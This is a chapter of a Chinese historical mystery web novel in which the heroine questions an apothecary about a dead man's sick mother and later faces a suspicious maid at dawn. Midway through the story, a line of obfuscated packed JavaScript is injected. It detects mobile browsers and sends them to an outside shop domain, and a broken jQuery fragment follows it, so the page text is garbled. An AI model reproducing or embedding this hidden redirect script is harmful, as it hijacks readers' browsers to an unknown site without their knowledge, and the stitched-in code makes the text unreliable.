临走之前,赵疏玉回头拜托李惟初道:“有件事,我需要你……”
李惟初站在那里井然有序地指挥着下属,疏散人群。
听得她话之后只是稍微偏头,也没问是什么事,只说道:“好。”
他的身影与漆黑的夜晚融合在一起,似乎已成了惯例,连月光都不愿倾洒半分。
而他那样定定地站在那里指派,冷静、淡然,似乎一切身在其外,毫不在乎。
那他究竟在乎什么?究竟筹谋什么?
一个字承诺如金,凉丝受李惟初嘱托走至赵疏玉身边,恭敬地朝她鞠了一躬,垂眸道:“但请姑娘吩咐。”
赵疏玉敛下眸色,转头看了眼地上早已面目全非的虎鸣,脑海里浮现出虎鸣紧紧抓着她的手,死活不愿放下的样子……
她不动声色道:“帮我去找虎鸣的娘,尽快。”
凉丝得令后,朝她微行一礼,随后奔入黑暗再不见踪迹。
而赵疏玉则选择去周边的药铺套套消息。
而在她走之前,听得李惟初低沉暗哑的声音随着夜晚的冷风钻进赵疏玉的耳朵里。
“这处宅子是刘世尧名下的一处房产,且今晚闹出的动静并不小。”
官差手里举着火把,李惟初偏过头,一半隐匿在黑暗中,一半被火光照亮,只是他鸦羽般浓密的睫毛遮住了眸中藏匿的情绪,除却他的嗓音淡淡,赵疏玉再听不清任何情绪。
可他说完这句话之后,竟朝官差们挥了一下绛紫色云纹袖袍,在官差们的簇拥下缓缓离去,再没有留下一个字。
赵疏玉紧拧着眉,仔细揣度着他话里的轻重。
明天肯定有一场恶战要打!
虎鸣取得刘世尧这么重要的东西,她可不相信刘世尧还能继续当万年老王八继续憋着!
不过这也说明了一点。
如果那个盒子里装着的真是对刘世尧不利的东西,那么他一定会出手动作!
今晚的火烧大宅,必是他惊慌之下逼不得已做出来的事!
而他的目的就只有一个——毁灭罪证。
赵疏玉依据现有的证据猜测,只是如今最重要的……
她抬头望了一眼了无星点,黑压压的夜空,心头的沉重却是难以言说。
她不希望任何人再死去。
沈怀夕的死她无法阻止,虎鸣的死她一样无能为力。
她痛恨弱小无权的自己。
李惟初安排了两名官差随行保护赵疏玉,而她却没有立即打道回府,而是向身后的一人询问起来。
“这附近的药铺有几家?”
那人思考了一番,谨慎地答道:“共有三家。城西何家,城中徐家,还有城东邱家。”
赵疏玉点了点头,再道:“如今夜深,可还有哪家药铺开着门吗?”
“只有城东邱家。”
她嗯了一声,抬步向前走去,“咱们去那儿瞧瞧。”
短暂的喧嚣之后,一切又恢复往常的宁静。
深夜的大街上空无一人,寂寥宽阔,道路两侧摆放着空空如也的店铺,上面或用一袭草帘铺盖着,或袒露着,供野猫们攀爬窝睡。
一阵微风吹过,吹起地上一片枯黄的落叶,落叶在空中转悬几圈后安然落地。
赵疏玉踏过枯叶,不小心将它踩进地中,泥地瞬间埋没枯叶,将其作为无用的肥料,吸食分解。
而她也在短暂的路程后行走至城东邱家青石台阶之前。
方正的匾额中框着“邱记药铺”四个大字,旁边的店铺皆为黑灯瞎火的一片,只有中间的药铺灯火辉煌,燃烛天明。
她倒是有些好奇,为什么这邱记药铺这么晚了还没有打烊。
正想着,她走上青石台阶,伸手敲了敲门。
里面很快就传来应答声,“来了来了!”之后便是一阵急切的脚步声,忙不迭地将门开开。
药铺老板开了门之后竟是没先看她,而是古怪地往她四周看了一圈,看见她身后跟着两个官差服装的侍卫,脸色瞬间一变,神色中流露出恭敬,有些讨好地说道,“这,姑娘……咱们邱记店铺从天宝七年一直开到永庆二年,已有六年……这虽说时间不长,可从未赚过一分昧良心的银钱,也从不卖假药。连从我们这儿出去的郎中都是从宫里面出来的!这……”
见他面上露出为难和惊惧的表情,她紧盯的目光柔和几分,连语气也柔和道:“邱老板,我们今日前来并非公事……”
一听到这话,他紧绷的神经似乎立马是松懈了下来,可是就这微微放松的动作也被赵疏玉看在眼底。
她继续说道:“而是一些私事。”
她眼神看了下里面,邱老板立刻意会,连忙道:“姑娘里边请。”
赵疏玉进去后习惯性先观察一圈环境,满是中药苦味扑面而来,她不适地皱了皱鼻子,找了个可观全局的地方坐下后,问老板道:“你认识虎鸣吗?”
邱老板点点头,他道,“识得。”
“他经常在你这儿买药吗?”赵疏玉又问。
可是这一次邱老板答之前愣了一下,才道:“不算经常。”
“为什么?”赵疏玉敏锐地发现邱老板的话略有深意。
“因为他要买的药都很贵。而虎鸣没钱,也不干正经事,反倒是天天在刘坊主的赌坊里厮混博戏,再帮刘坊主做些生意,他也能得些挣点银钱给他老母治病。”
赵疏玉微微眯了眯眼,她一双耐人寻味的眸色紧埋眸底,面上却是丝毫未动,只问邱老板道:“他要买什么药,这么贵?”
“他母亲患有肺痨,一直都是用天山灵芝吊着性命……”邱老板顿了顿,“可是姑娘,肺痨这病是治不好的,纵使治,也不过就是多活几年的事情,还一定药不能停,一停,那人就铁定不成了!”
“且天山灵芝价格昂贵,一株就要四十两白银!我们都劝他别救了,可他就是不听。”
说着,邱老板还叹了口气,“他这年疯狂在外头给刘坊主做事,挣的钱全用来给他母亲治病了,他自己是一点都没留,老大不小了却连个妻都没娶……”
“这香火可怎么办……”
赵疏玉听完却是紧皱眉头,问了一句毫不相干的问题。
“病人的隐私竟然可以这么毫不顾忌地告诉我吗?”
她问完之后抬头看他,却见邱老板背对着她,倒弄着药材的手猛然一顿,随后又坦然自若地捯饬起来。
磨了半晌,他将药材磨成粉末倒进桑皮纸里,目光却仍然停留在药粉上,自顾自说道,“虎鸣……他是个苦命人啊。”
说完这句话后,他将包好的桑皮纸交给赵疏玉,道:“本店即将打烊,若无事姑娘便请离开吧。”
赵疏玉手里拿着一包药袋,低头看着包袋上用黑色毛笔写的“天山灵芝”四字,脑中不知在思索着什么,走去老远后,她才对身后的官差平静而又清晰地说出三个字。
“盯着他。”
而她则提着药材包转身回了县衙。
回到衙内时天色不再那般黑沉,在天际的另一边反倒是有些隐隐白光露起。
赵疏玉不敢再耽搁,连衣服都没脱一脚瞪上床后转眼入睡。
可她躺在床上却是翻来覆去怎么都睡不着。
案子一桩接一桩,人死了一个又一个,但案子似乎看起来是越来越扑朔迷离了。
她不知道明天会发生什么,但她的心里却有种强烈不安的预感。
这样莫名不安的念头从她的心底升起,慢慢移上昏沉的脑袋,最终脑中的思绪越来越乱,她“噌”地一下又从床上坐起。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100614|138143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怕是要熬一个通宵了。
强烈不安的心绪令她无法安然入睡,她只好起身下床,打开屋门去溜达。
行至花园看看风景,清风拂面暂且抚平烦扰的思绪,刚得心中片刻宁静,却被不远处的一个小丫鬟破坏。
她走到赵疏玉身边向她缓缓行礼道,“天还未亮,姑娘是有什么心事吗?”
赵疏玉抬头望向这一片澄白,泛着天蓝的黑夜交接的黎明,她缓缓吐出一口浊气,而后摇摇头。
她低头看向池塘中央巍立的假石,看着上面一个又一个细密的大洞小洞,不禁联想到如今所得蛛丝马迹的线索。
说了一句毫不相干的话:“天气渐渐凉爽了,连杏叶也变黄了,可谓是一叶知秋。”
可多年来的警惕性却让她不禁留心反问道,“你是谁?为何来这?县衙里花园位置偏僻,你又怎会来这里?”
“奴婢春禧。”
春禧答得滴水不漏,“县令对花坛极为看重,管事的不敢有误,故而每日天不亮就吩咐奴婢们来花园看坛子看顾花草。如果有长势不好的花一定要及时处理,否则县令看到不悦,奴婢们就要挨板子。”
赵疏玉闻言却是不明所以地微微一笑,“真没看出来啊……”
他当真是神秘莫测。
她摆了摆手,吩咐道,“你先下去吧,我还要在这儿待一会儿。”
可春禧却面露为难地忸怩在原地不动,她为难道:“管事的吩咐奴婢要好好检查花圃,不能有一丝错漏。”
赵疏玉不想为难春禧,于是点点头道,“那你就去吧。”
春禧似乎还有些不高兴,但她都这么吩咐了,自己也只好拿着小锄头锄弄花草去了。
不知道是不是自己最近神经太过敏感,她怎么总觉得春禧这丫头,目光时不时偷偷摸摸地扫着她呢?
这到底是什么情况?
被害妄想症吗?
赵疏玉方才压下去的烦躁重又升上来,这次就连吹在脸上的清风似乎都裹挟着烈日的闷热,吹在她脸上时莫名让她感到烦闷不安。
她重又看了一眼春禧,只见她正兢兢业业地挥弄着手中的小锄头,一副专心致志的模样。
赵疏玉觉得一定是自己神经太敏感了。
她明明在很认真的侍弄花草。
赵疏玉熬了一整个通宵,眼下头疼欲裂,太阳穴隐隐传来针扎一般密集的疼痛,她略有些痛苦地用劲揉了揉两边的太阳穴,迫使自己冷静下来。
她再睁眼看了一眼春禧。
她依旧聚精会神于花草之上。
春禧偷偷摸摸,似行有不轨的动作一切都是她的错觉而已!
她呜咽一声,转身回屋,想去补一补觉。
可此时已天光大白,不远处传来鸡鸣之声,太阳也在一声又一声洪亮起伏的鸡鸣催促下着急奔腾至日空,耀眼的白光普照大地,一切生机似一洗黑夜萎靡,全都昂首挺起胸,沐浴着温暖的日光,祛除黑夜的冰冷。
而赵疏玉则在一片温暖之下,身体陡然霜降冰冷如坠冰窟,心底下那抹不安的情感一点一点敲击着她的心脏,蚕食着她的全身。
她的心脏莫名跳得很快,像是某种暴风雨前不安的预兆。
行走在地面的脚步也有些虚浮,一路平静无阻地走回屋,却在打开房门的那一刻,身后倏然响起一阵急忙的声音。
灾难似乎终于降临了。
她的心脏跳得极快。
身后的婢女一脸慌乱,声音拖成一条长长的直线,在诺大的院子里似乎留有回声,不断回荡在赵疏玉的耳边。
“赵姑娘,赵姑娘!不好了!刘世尧敲响堂鼓,在外头闹起来了!”
而更灾难的一句话,还在后头。
是李惟初带来的。